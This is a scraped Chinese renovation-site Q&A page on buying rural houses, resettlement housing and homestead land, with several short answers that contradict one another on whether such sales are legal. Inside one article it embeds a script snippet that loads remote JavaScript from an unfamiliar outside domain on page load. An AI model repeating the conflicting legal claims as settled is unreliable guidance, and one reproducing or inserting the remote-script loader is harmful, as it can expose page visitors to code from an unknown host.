发现更多装修知识
吴桂芝
3 回答
10秒估算装修报价
元
稍后将有装修顾问来电为您解读报价
共有3条回答
xiaolajiao... 有用 1
鱼三盏 有用 1
荣耀vvv 有用 1
土巴兔装修客服
土巴兔官方客服,欢迎随时咨询
立即咨询
亲,近期在了解装修吗?您是否想改变一下家里的布置,风格,收纳等现象?只需要一个报名申请您就能获得免费设计,赶紧咨询我吧!
问谁了解城市户口买农村房屋可以吗?
答 不可以: 1,农村的房子,是和宅基地一起转让的; 2,宅基地的转让,必须是符合申请条件的本村集体内成员,才能受让; 3,城镇户口,不能
问谁可以说说农村的房屋可以买卖吗
答你好,农村的房屋可以买卖,但农村的宅基地是不可以买卖的,房子是属于个人财产可以进行自由买卖,希望我的回答对你有帮助。
问请问农村的房屋是否可以买卖
答你好,据我所知农村房屋可以买卖的。 1、农村房屋买卖合同有效的情形 (1)出卖人和买受人均是同一村的村民。如果出卖人和买受人均是同一个村的村民,那么该合同是
问农村房屋是不动产吗?
答农村自建房屋也是属于不动产的,但是有些农村是不登记的,只发宅基地使用证.有些地方是办理登记的,一般和城镇房屋的登记机构是一个部门,即建设部门(房交交易监理所
问请问农村房屋有产权吗?
答小产权房是指由乡镇政府而不是国家颁发产权证的房产,在现实中往往是一些村集体组织或者开发商以新农村建设等名义出售的、建筑在集体土地上的房屋或是由农民自行组织建
农村安置房可以买卖吗
农村地区空气新鲜,物价便宜,有的人向往田园生活,可能会选择购买农村安置房来进行居住。那么,农村安置房可以买卖吗,有哪些风险?第一,房价上涨容易诱使卖方违约。根据该政策,卖方不得在获得财产证明之日起五年后将房屋转让给买方。在漫长的五年中,房价的走势是不可预测的。当房价急剧上涨时,卖家可能会再次将房子出售给较高价的房屋。在某些极端情况下,搬迁单位可能在最终转让之前已经买卖了十几次。农村安置房购买者无法获得足够的销售合同保障。许多搬迁和安置的买家认为销售合同已经签订,房子已经支付,房子已经装修,卖家违反条约也无妨。但实际上,完成转让手续的买方将在法律上有权获得房屋的所有权,并有权要求原买方搬出房屋。住房安置。第二,买房无法取得二次拆迁的利益。有些农村安置房会面临再次拆迁的情况。这时候拆迁办的补偿金额高于拆迁农村安置房的交易价格,卖方和买方经常对拆迁安置补偿的分配发生争议。从法律上讲,拆迁补偿仍属于卖方。其实卖方在收到购买后仍有权获得拆迁补偿。第三,易受不确定因素影响。交易中会出现不可预见的音素。比如:卖方在转让完成之前就已经死亡,卖方的继承人对合同提出异议,认为买方的价格太低了。买方必须与从未见过的继承人谈判,然后参与卖方的家务。最终,买家选择通过诉讼来解决问题,但他们面临着新的问题。卖方可能有几个继承人,有些继承人可能还不在国内。这种情况下,法院必须通过外交途径提供服务。买房者在购买农村安置房时,只看到了比较低的价格,更加应该看到农村安置房的风险。购买农村安置房其实并非明智之举,因为要顺利完成交易所消耗的时间过长,其中潜在的法律风险是任何人都难以预见和避免的。买方所获得的只是有限的差价,而其可能损失的却是整个房屋。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
农村房屋可以办房产证吗?农村房屋办产权证有什么条件
大家都知道,在农村里,可没有什么开发商,小区等名词,房屋也不是一套一套购买的,而是完全自建的。从挖地基开始每一步都是自己做出来的,和在城市里买房有着比较大的区别。那这里就有疑问了,在城里买了房可以去领取房屋产权证,那么在农村里自建了房,有没有产权证呢?今天小编就给大家详细的介绍一下农村房子产权证问题。农村房屋可以办房产证吗农村的住房也是要领取房屋产权证的,能否领取房屋产权证的关键问题不是户口,而是是否有宅基地使用权证。根据《土地法》的规定,农村的宅基地审批权在县级人民政府,因此,只有经过县级政府批准并颁发了宅基地使用权证,才能依法领取房屋产权证。农村的住宅房虽然使用的农村集体土地,但在只经本集体经济组织(村委会)批准的宅基地上建筑的房屋是非法占地,不能领到房屋产权证,在自留地、承包地里自建的房则更不能领取到房屋产权证了。农村房子办房产证要什么材料(1)登记收件。产权登记的第1程序就是登记收件。登记收件表示主管机关接受产权人主张权利的申请。因此,产权人必须填写申请书,并交验有关证明、证件;经审查符合登记条件的,予以收件。即接受申请书,收存需要进一步审查的有关证明、证件。(2)勘丈绘图。它是对已申请产权登记的房地产逐户、逐处进行实地勘察,查清房地现状,丈量计算面积,核实墙体归属,绘制分丘平面图,补测或修测房屋分幅平面图,为产权全面审查和制图发证提供依据。(3)产权审查。对申请登记的房屋,经过认真细致的实地勘察和丈量制图,掌握了房屋全部实况资料以后,即可转入产权审查。产权审查是以产权档案的历史资料和实地调查勘察的现实资料为基础,以国家现行的政策、法律和有关的行政法规为依据,对照申请人提交的申请书、墙界表、产权证件、证明,逐户、逐栋认真审查其申请登记的房屋产权来源是否清楚,产权转移和房屋变动是否合法等整个复杂细致的工作过程。需要说明的是,这里的产权审查是全面的、更为细致的产权审查,是经过了登记收件勘丈绘图后的产权审查。(4)绘制权证。对申请人申请的房地产,经过审查确认可以颁发产权证后,应及时转入制权证阶段。这个阶段的主要工作是绘制应颁发的产权证件。(5)收费发证。它是产权登记发证工作的较后程序,要求把应收的登记费收缴入库,把应发出的权证发放到所有权人手中。农村房子办房产证注意事项发放产权证前,必须全面检查应发放的权证有无差错,是否已交纳契税。个人购买商品房,办理房产证应当向登记机关提交:购房合同(正本);购买发票(原件)竣工决算书(原件);个人身份证及复印件。必须本人亲自到场办理,如果委托他人办理必须提供经过公正的委托书。以上就是小编今天要给大家介绍的关于农村房子能不能办房产证的全部内容,相信大家看完之后对于办理房产证已经有了一定的了解。能不能办房产证的关键点,不在于你的户口是农村的还是城市户口,而是你有没有这块地的使用权。也就是说,如果这块地确实是你的,那么你在上面修建了房子之后,是符合法律规定,可以领取到房产证的。
农村宅基地可以买吗 农村宅基地买卖3大原则
农村宅基地可以买卖吗?法律允许农村宅基地在农村组织部成员之间转让,而不能向非农村组织部成员转让,农民之间相互转让不违反法律规定,农民对宅基地只有使用权,土地也属于农民集体所有,而不能想非农村组织部成员转让,宅基地本来就属于农村集体所有,分给农民使用,农民买卖在宅基地上自建房子的,宅基地的使用权也随之转移,那么农村宅基地可以买吗,接下来小编给大家详细介绍一下。农村宅基地可以买吗?根据《土地管理法》第六十三条规定:“农民集体所有的土地的使用权不得出让、转让或者出租用于非农业建设。”农村村民一户只能申请一处宅基地,农民宅基地使用权由于是村民基于其身份而无偿取得的与集体经济组织成员的资格是联系在一起的。在一定程度上,宅基地具有社会福利和社会保障的功能。所以,农村房屋宅基地可以在本村村民之间互相买卖流转,卖给非本村人的属于无效的买卖。农村宅基地买卖3大原则1、农村宅基地买卖需进行权利(使用权)主体变更登记《宅基地使用证》和《集体土地建设用地使用证》是农民合法取得宅基地使用权的重要凭据,如果宅基地房屋通过买卖转移宅基地使用权(使用权主体发生变化),应当依照规定进行审查、批准,完成权利主体的变更登记。需要注意的是宅基地房屋买卖,除了要到房屋管理部门办理产权过户登记手续,还要进行宅基地使用权的主体变更。如果不进行宅基地使用权的变更,房屋根本就没有发生转移。2、宅基地购买者的资格有限制宅基地使用权主体应是该农业集体经济组织成员,或与成员有直系亲属等身份或其他规定的身份。因经济发展、人口流动等,原使用权人不再使用宅基地,依法可以转让,但宅基地使用权的购买者(受让主体),有资格限制。宅基地使用权只可在本集体经济组织内部自由转让,如果转让给城市居民或其他农业集体经济组织成员,将不符合法定的条件。解决方法:转让时,购买者已经将户口迁入本乡或本村,成为本集体经济组织内部成员。3、转让后原则:“一户一宅”《土地管理法》明确规定,宅基地遵守“一户一宅”的标准。双方进行宅基地买卖是,应该满足这个标准的限制。如果宅基地数量超标,以后进行分户建房或现有房屋拆迁、改建、翻建或政府依法实施规划重新建设时,超过部分需归还集体经济组织。有关农村宅基地能不能买卖小编就给大家介绍到这里了,相信大家看了以后知道农村宅基地能不能买卖,由上述内容可以看出,农村宅基地一般是禁止买卖的,那为何社会上还会出现这么多农村房屋或农村宅基地买卖的现象呢?其中原因有很多种,关键是大多数农民不懂法律知识,不知道随意买卖农村宅基地或者房屋那是违反法律规定,再一个原因就是法律知识能力宣传不够。
打开APP后继续操作
立即打开